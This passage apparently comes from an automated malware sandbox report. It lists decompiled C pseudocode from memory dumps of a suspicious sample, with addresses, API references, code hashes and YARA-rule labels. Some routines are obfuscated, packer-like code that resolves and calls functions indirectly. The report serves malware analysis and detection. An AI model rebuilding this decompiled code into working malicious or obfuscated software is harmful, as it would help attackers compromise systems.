									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x1000237f
0x10002382
0x10002388
0x100023a6
0x00000000
0x100023a6
0x10002390
0x10002399
0x1000239f
0x100023ae
0x100023b1
0x100023b4
0x100023be
0x100023be
0x100023c0
0x100023c3
0x100023c5
0x100023c5
0x100023c7
0x100023ca
0x00000000
0x00000000
0x100023cc
0x100023ce
0x10002434
0x10002434
0x10002592
0x00000000
0x10002592
0x100023d0
0x100023d0
0x100023d4
0x100023d6
0x100023d6
0x100023d6
0x100023d6
0x100023d9
0x100023da
0x100023dd
0x100023dd
0x100023e1
0x100023e5
0x100023f3
0x100023f3
0x100023fb
0x10002401
0x10002403
0x10002405
0x10002415
0x10002422
0x10002426
0x1000242b
0x1000242d
0x100024ab
0x100024ab
0x1000242f
0x1000242f
0x1000242f
0x100024ad
0x100024af
0x10002590
0x10002590
0x00000000
0x100024b5
0x100024b5
0x100024bc
0x00000000
0x00000000
0x100024c2
0x100024c6
0x10002522
0x10002524
0x1000252c
0x1000252e
0x10002530
0x00000000
0x00000000
0x10002532
0x10002538
0x1000253a
0x1000253c
0x10002551
0x10002551
0x10002553
0x10002582
0x10002589
0x00000000
0x10002589
0x10002557
0x10002558
0x1000255a
0x1000255c
0x1000255c
0x1000255e
0x10002560
0x10002562
0x10002576
0x10002576
0x10002579
0x1000257b
0x1000257b
0x1000257c
0x1000257c
0x00000000
0x10002564
0x10002564
0x10002564
0x1000256d
0x1000256e
0x10002570
0x10002572
0x10002572
0x00000000
0x10002564
0x10002562
0x1000253e
0x10002545
0x10002545
0x10002547
0x00000000
0x00000000
0x10002549
0x1000254a
0x1000254d
0x1000254f
0x00000000
0x00000000
0x00000000
0x1000254f
0x00000000
0x10002545
0x100024c8
0x100024cb
0x100024d0
0x00000000
0x00000000
0x100024d9
0x100024db
0x100024e1
0x00000000
0x00000000
0x100024e7
0x100024ed
0x00000000
0x00000000
0x100024f3
0x100024f5
0x100024fe
0x10002502
0x00000000
0x00000000
0x10002508
0x1000250b
0x1000250d
0x00000000
0x00000000
0x10002514
0x10002516
0x00000000
0x00000000
0x10002518
0x1000251c
0x00000000
0x00000000
0x00000000
0x1000251c
0x00000000
0x00000000
0x00000000
0x10002407
0x10002407
0x10002407
0x1000240e
0x00000000
0x00000000
0x10002410
0x10002411
0x10002413
0x00000000
0x00000000
0x00000000
0x10002413
0x1000243b
0x1000243d
0x00000000
0x00000000
0x1000244d
0x1000244f
0x10002451
0x00000000
0x00000000
0x10002457
0x1000245e
0x1000248a
0x1000248a
0x1000248c
0x1000248e
0x100024a2
0x100024a4
0x00000000
0x00000000
0x00000000
0x00000000
0x10002490
0x10002490
0x10002490
0x10002499
0x1000249a
0x1000249c
0x1000249e
0x1000249e
0x00000000
0x10002490
0x10002460
0x10002463
0x10002465
0x10002477
0x10002477
0x1000247a
0x1000247c
0x1000247c
0x1000247d
0x1000247d
0x10002483
0x00000000
0x00000000
0x00000000
0x00000000
0x10002467
0x10002467
0x10002467
0x1000246e
0x00000000
0x00000000
0x10002470
0x10002470
0x10002471
0x00000000
0x00000000
0x00000000
0x10002471
0x10002473
0x10002475
0x10002488
0x00000000
0x00000000
0x00000000
0x10002488
0x00000000
0x10002475
0x100023e7
0x100023ea
0x100023ed
0x00000000
0x00000000
0x100023ef
0x100023f1
0x00000000
0x00000000
0x00000000
0x100023f1
0x100023b6
0x100023b8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54

Uniqueness

Uniqueness Score: -1.00%

Function 0173B341, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0173B341(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x173d2e0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x173d328 = 1;
										__eflags =  *0x173d328;
										if( *0x173d328 != 0) {
											goto L60;
										}
										_t84 =  *0x173d2e0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x173d328 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x173d2e0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x173d2e8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x173d2e4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x173d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x173d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x173d328 = 1;
							__eflags =  *0x173d328;
							if( *0x173d328 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x173d2e8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x173d2e8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x173d328 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x173d2e8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x173d2e0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x173d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x173d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0173b34b
0x0173b34e
0x0173b354
0x0173b372
0x00000000
0x0173b372
0x0173b35c
0x0173b365
0x0173b36b
0x0173b37a
0x0173b37d
0x0173b380
0x0173b38a
0x0173b38a
0x0173b38c
0x0173b38f
0x0173b391
0x0173b391
0x0173b393
0x0173b396
0x00000000
0x00000000
0x0173b398
0x0173b39a
0x0173b400
0x0173b400
0x0173b55e
0x00000000
0x0173b55e
0x0173b39c
0x0173b39c
0x0173b3a0
0x0173b3a2
0x0173b3a2
0x0173b3a2
0x0173b3a2
0x0173b3a5
0x0173b3a6
0x0173b3a9
0x0173b3a9
0x0173b3ad
0x0173b3b1
0x0173b3bf
0x0173b3bf
0x0173b3c7
0x0173b3cd
0x0173b3cf
0x0173b3d1
0x0173b3e1
0x0173b3ee
0x0173b3f2
0x0173b3f7
0x0173b3f9
0x0173b477
0x0173b477
0x0173b3fb
0x0173b3fb
0x0173b3fb
0x0173b479
0x0173b47b
0x0173b55c
0x0173b55c
0x00000000
0x0173b481
0x0173b481
0x0173b488
0x00000000
0x00000000
0x0173b48e
0x0173b492
0x0173b4ee
0x0173b4f0
0x0173b4f8
0x0173b4fa
0x0173b4fc
0x00000000
0x00000000
0x0173b4fe
0x0173b504
0x0173b506
0x0173b508
0x0173b51d
0x0173b51d
0x0173b51f
0x0173b54e
0x0173b555
0x00000000
0x0173b555
0x0173b523
0x0173b524
0x0173b526
0x0173b528
0x0173b528
0x0173b52a
0x0173b52c
0x0173b52e
0x0173b542
0x0173b542
0x0173b545
0x0173b547
0x0173b547
0x0173b548
0x0173b548
0x00000000
0x0173b530
0x0173b530
0x0173b530
0x0173b539
0x0173b53a
0x0173b53c
0x0173b53e
0x0173b53e
0x00000000
0x0173b530
0x0173b52e
0x0173b50a
0x0173b511
0x0173b511
0x0173b513
0x00000000
0x00000000
0x0173b515
0x0173b516
0x0173b519
0x0173b51b
0x00000000
0x00000000
0x00000000
0x0173b51b
0x00000000
0x0173b511
0x0173b494
0x0173b497
0x0173b49c
0x00000000
0x00000000
0x0173b4a5
0x0173b4a7
0x0173b4ad
0x00000000
0x00000000
0x0173b4b3
0x0173b4b9
0x00000000
0x00000000
0x0173b4bf
0x0173b4c1
0x0173b4ca
0x0173b4ce
0x00000000
0x00000000
0x0173b4d4
0x0173b4d7
0x0173b4d9
0x00000000
0x00000000
0x0173b4e0
0x0173b4e2
0x00000000
0x00000000
0x0173b4e4
0x0173b4e8
0x00000000
0x00000000
0x00000000
0x0173b4e8
0x00000000
0x00000000
0x00000000
0x0173b3d3
0x0173b3d3
0x0173b3d3
0x0173b3da
0x00000000
0x00000000
0x0173b3dc
0x0173b3dd
0x0173b3df
0x00000000
0x00000000
0x00000000
0x0173b3df
0x0173b407
0x0173b409
0x00000000
0x00000000
0x0173b419
0x0173b41b
0x0173b41d
0x00000000
0x00000000
0x0173b423
0x0173b42a
0x0173b456
0x0173b456
0x0173b458
0x0173b45a
0x0173b46e
0x0173b470
0x00000000
0x00000000
0x00000000
0x00000000
0x0173b45c
0x0173b45c
0x0173b45c
0x0173b465
0x0173b466
0x0173b468
0x0173b46a
0x0173b46a
0x00000000
0x0173b45c
0x0173b42c
0x0173b42c
0x0173b42f
0x0173b431
0x0173b443
0x0173b443
0x0173b446
0x0173b448
0x0173b448
0x0173b449
0x0173b449
0x0173b44f
0x0173b44f
0x00000000
0x00000000
0x00000000
0x00000000
0x0173b433
0x0173b433
0x0173b433
0x0173b43a
0x00000000
0x00000000
0x0173b43c
0x0173b43c
0x0173b43d
0x00000000
0x00000000
0x00000000
0x0173b43d
0x0173b43f
0x0173b441
0x0173b454
0x00000000
0x00000000
0x00000000
0x0173b454
0x00000000
0x0173b441
0x0173b3b3
0x0173b3b6
0x0173b3b9
0x00000000
0x00000000
0x0173b3bb
0x0173b3bd
0x00000000
0x00000000
0x00000000
0x0173b3bd
0x0173b382
0x0173b384
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0173B3F2

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: d29390185ae23300418a9f5d99b2279965a5c7806437558e3b35ff7b96631b86
Instruction ID: 157f83c0f9b46be1d78c0fbd1049bf9301ca496253838ab327a42721fe4ee1da
Opcode Fuzzy Hash: d29390185ae23300418a9f5d99b2279965a5c7806437558e3b35ff7b96631b86
Instruction Fuzzy Hash: FD61F370A046169FDB3ACE6CC8C0629F7A1EBC5325B788169D946C7297E331D946CB48

Uniqueness

Uniqueness Score: -1.00%

Function 016C3A85, Relevance: 1.3, Strings: 1, Instructions: 92
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E016C3A85(void* __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t71;
				void* _t86;
				void* _t93;
				void* _t96;
				signed int _t100;
				signed int _t101;
				signed int _t102;
				void* _t106;

				_t86 = __ebx;
				_t70 = __eax;
				if(_a4 != 0x904f) {
					_a4 = _a4 + 1;
					_t70 = __eax - 0x426;
				} else {
					_t100 = _t100 ^ _v8;
					_a4 = 0xffffffff;
				}
				_t71 = E016C4238(_t70, _t86, _t106,  *((intOrPtr*)(_t86 + 0x418391)));
				_t101 = _t100 & 0x00000000;
				_a4 = _a4 | 0xffffffff;
				 *(_t86 + 0x41864b) = 0xffffffff;
				if(_a4 != 0x6b3d) {
					_a4 = _a4 | _t71;
					_t71 = _t71 & 0x00000000;
					 *(_t86 + 0x41864b) =  *(_t86 + 0x41864b) ^ _t101;
				} else {
					_t93 = _t93 + 0x2ff;
				}
				_t102 = _t101 | 0x0000074b;
				_v8 = _v8 ^ _t71;
				_t72 = _t71 & 0xffffffff;
				if((_t71 & 0xffffffff) == 0xb85f) {
					_v8 = _v8 & 0xffffffff;
				}
				_v8 = 1;
				_v8 = _v8 + _t96;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				_v8 = _v8 ^ 0x00000000;
				E016C3BDB(_t72 & 0x00000000, _t86,  *((intOrPtr*)(_t86 + 0x41851f)));
				_v8 = _v8 ^ 0xffffffff;
				_a4 = _a4 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) | 0xffffffff;
				_a4 = _a4 ^ 0x00000000;
				_a4 = _a4;
				_a4 = _a4 + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) - 1;
				_a4 = _a4 | 0x00000001;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + _t102 - 1 + _t96;
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 + 1;
				_a4 = _a4 ^ 0x00000000;
				return 0xffffffffffffffff;
			}

0x016c3a85
0x016c3a85
0x016c3a97
0x016c3aac
0x016c3aaf
0x016c3a99
0x016c3a99
0x016c3a9c
0x016c3aa3
0x016c3ac0
0x016c3ac5
0x016c3ac8
0x016c3acb
0x016c3adc
0x016c3ae6
0x016c3ae9
0x016c3aee
0x016c3ade
0x016c3ade
0x016c3ade
0x016c3af4
0x016c3afa
0x016c3afd
0x016c3b04
0x016c3b0f
0x016c3b0f
0x016c3b12
0x016c3b19
0x016c3b22
0x016c3b28
0x016c3b2e
0x016c3b38
0x016c3b46
0x016c3b59
0x016c3b5d
0x016c3b60
0x016c3b67
0x016c3b77
0x016c3b7a
0x016c3b7d
0x016c3b90
0x016c3b9c
0x016c3ba3
0x016c3ba7
0x016c3bb9
0x016c3bd8

Strings

=k, xrefs: 016C3AD5

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: =k
API String ID: 0-4048675473
Opcode ID: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction ID: d020589f843e0fe371de41bb183040b7637abf39b8a711550d31b335cb1fabbf
Opcode Fuzzy Hash: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction Fuzzy Hash: CC316172904608EBEB04CE74CE463EE7A70FF10375F24C36EAD29991D5D7388B519A54

Uniqueness

Uniqueness Score: -1.00%

Function 016C20EE, Relevance: .5, Instructions: 507
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E016C20EE(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, char _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _t278;
				signed int _t282;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t289;
				void* _t291;
				signed int _t293;
				signed int _t294;
				signed int _t297;
				signed int _t300;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t310;
				signed int _t318;
				signed int _t324;
				signed int _t337;
				signed int _t339;
				signed int _t341;
				signed int _t346;
				void* _t356;
				signed int _t358;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				void* _t389;
				signed int _t396;
				signed int _t402;
				void* _t405;
				signed int _t406;
				signed int _t408;
				void* _t409;
				void* _t419;
				signed int _t421;
				void* _t426;
				signed int _t435;
				signed int _t436;
				void* _t443;
				signed int _t450;
				signed int* _t451;

				_t401 = __esi;
				_t366 = __edi;
				_t337 = __edx;
				_t305 = __ecx;
				_t300 = __ebx;
				_push(__ecx);
				 *_t450 =  *_t450 ^ __ecx;
				 *_t450 =  *_t450 | _t435;
				_t436 = _t450;
				_t451 = _t450 + 0xfffffff0;
				if( *(__ebx + 0x418237) == 0) {
					_t278 =  *((intOrPtr*)(__ebx + 0x45d020))();
					 *_t451 = __esi;
					 *(__ebx + 0x418237) = _t278;
					_t401 = 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t451 =  *_t451 + _t366;
				if( *(_t300 + 0x418399) == 0) {
					_t337 = _v28;
					_v28 =  *((intOrPtr*)(_t300 + 0x418607));
					_v32 =  *((intOrPtr*)(_t300 + 0x418163));
					_v20 = 0;
					_v36 = _v36 ^ _v32;
					_v40 =  *((intOrPtr*)(_t300 + 0x4183f0));
					_t401 = _t401;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t401, _v20, _t278, _t337);
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) & 0x00000000;
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) | _t366 ^ _v44 | _t278;
					_t366 = _t366;
				}
				_push(_v20);
				_v28 = _t401;
				if( *(_t300 + 0x4184c3) == 0) {
					_push(_t337);
					_t337 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41862f));
					_push(_t305);
					_v36 =  *((intOrPtr*)(_t300 + 0x4181bf));
					_t305 = _t305;
					_push(_t366);
					_v40 =  *((intOrPtr*)(_t300 + 0x41805f));
					_push(_t278);
					_push(_v40);
					_v44 =  *((intOrPtr*)(_t300 + 0x4180b3));
					_pop(_t396);
					 *_t451 =  *_t451 & 0x00000000;
					 *_t451 =  *_t451 + _t305;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t278);
					_v20 = _t396;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) & 0x00000000;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) ^ (_t396 & 0x00000000 | _t278);
					_t366 = _v20;
				}
				_v20 = _t305;
				_t368 = _t366 & 0x00000000 | _t305 ^ _v20 ^ _a4;
				_t308 = _v20;
				if( *(_t300 + 0x4185b3) == 0) {
					_t278 =  *((intOrPtr*)(_t300 + 0x45d01c))();
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) & 0x00000000;
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) ^ (_t436 & 0x00000000 | _t278);
					_t436 = _t436;
				}
				_t369 = _t368 +  *((intOrPtr*)(_t368 + 0x3c));
				if( *(_t300 + 0x41818f) == 0) {
					_t406 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41824f));
					_t369 = _v36;
					_v36 =  *((intOrPtr*)(_t300 + 0x4181c7));
					_v40 = _t308;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_v20, _t369, _t401);
					_v20 = _t308;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) & 0x00000000;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) ^ (_t308 ^ _v20 | _t278);
					_t310 = _v20;
				}
				if( *((intOrPtr*)(_t369 + 0x80)) != 0) {
					_t370 =  *((intOrPtr*)(_t369 + 0x80));
					if( *(_t300 + 0x41832c) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d020))();
						_v20 = _t370;
						 *(_t300 + 0x41832c) = _t278;
						_t370 = _v20;
					}
					_t371 = _t370 + _a4;
					if( *(_t300 + 0x41859b) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t401;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) & 0x00000000;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) ^ _t401 & 0x00000000 ^ _t278;
						_t406 = _v20;
					}
					do {
						if( *_t371 != 0) {
							_v32 = _t278;
							_t402 = 0 ^  *_t371;
							_t278 = 0;
							if( *(_t300 + 0x41816b) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418487));
								_t337 = _v36;
								_v36 =  *((intOrPtr*)(_t300 + 0x418338));
								_t318 = _v40;
								_v40 =  *((intOrPtr*)(_t300 + 0x4183ec));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t310, _t337, _t278, _t402);
								_v20 = _t318;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) & 0x00000000;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) | _t318 ^ _v20 ^ _t278;
								_t310 = _v20;
							}
						} else {
							if( *(_t300 + 0x418420) == 0) {
								_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
								_v20 = _t310;
								 *(_t300 + 0x418420) = 0 ^ _t278;
								_t310 = _v20;
							}
							_v20 = _t300;
							_t402 = _t406 & 0x00000000 ^ _t300 - _v20 ^  *(_t371 + 0x10);
							_t300 = _v20;
							if( *(_t300 + 0x41812f) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418033));
								_t291 = _t278;
								_v36 = _v36 & 0x00000000;
								_v36 = _v36 + _t291;
								_v40 =  *((intOrPtr*)(_t300 + 0x41813b));
								_t356 = _t337;
								_t358 = _v44;
								_v44 =  *((intOrPtr*)(_t300 + 0x4182eb));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t356, _t402, _t300, _t278);
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) & 0x00000000;
